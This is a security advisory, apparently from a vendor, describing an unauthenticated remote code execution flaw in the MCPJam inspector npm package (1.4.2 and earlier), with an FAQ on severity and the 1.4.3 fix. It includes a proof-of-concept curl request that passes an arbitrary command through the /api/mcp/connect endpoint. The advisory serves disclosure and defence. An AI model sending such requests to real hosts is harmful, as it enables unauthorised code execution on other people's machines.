CVE-2026-23744

MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.

This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.

Details

MCPJam inspector binds to 0.0.0.0 making its HTTP APIs remotely reachable.

const server = serve({
  fetch: app.fetch,
  port: SERVER_PORT,
  hostname: "0.0.0.0",
});

The /api/mcp/connect API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the /connect route, the system extracts the command and args fields without performing any security checks, leading to the execution of arbitrary command.

PoC

(1) Start up the MCPJam inspector as Github README
npx @mcpjam/inspector@latest

(2) RCE by posting a HTTP request
A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).
curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"

Remote Code Execution (RCE)

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-23744 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-23744? CVE-2026-23744 is a critical-severity missing authentication for critical function vulnerability in @mcpjam/inspector (npm), affecting versions <= 1.4.2. It is fixed in 1.4.3. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-23744? CVE-2026-23744 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @mcpjam/inspector are affected by CVE-2026-23744? @mcpjam/inspector (npm) versions <= 1.4.2 is affected.
4. Is there a fix for CVE-2026-23744? Yes. CVE-2026-23744 is fixed in 1.4.3. Upgrade to this version or later.
5. Is CVE-2026-23744 exploitable, and should I be worried? Whether CVE-2026-23744 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23744 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-23744? Upgrade @mcpjam/inspector to 1.4.3 or later.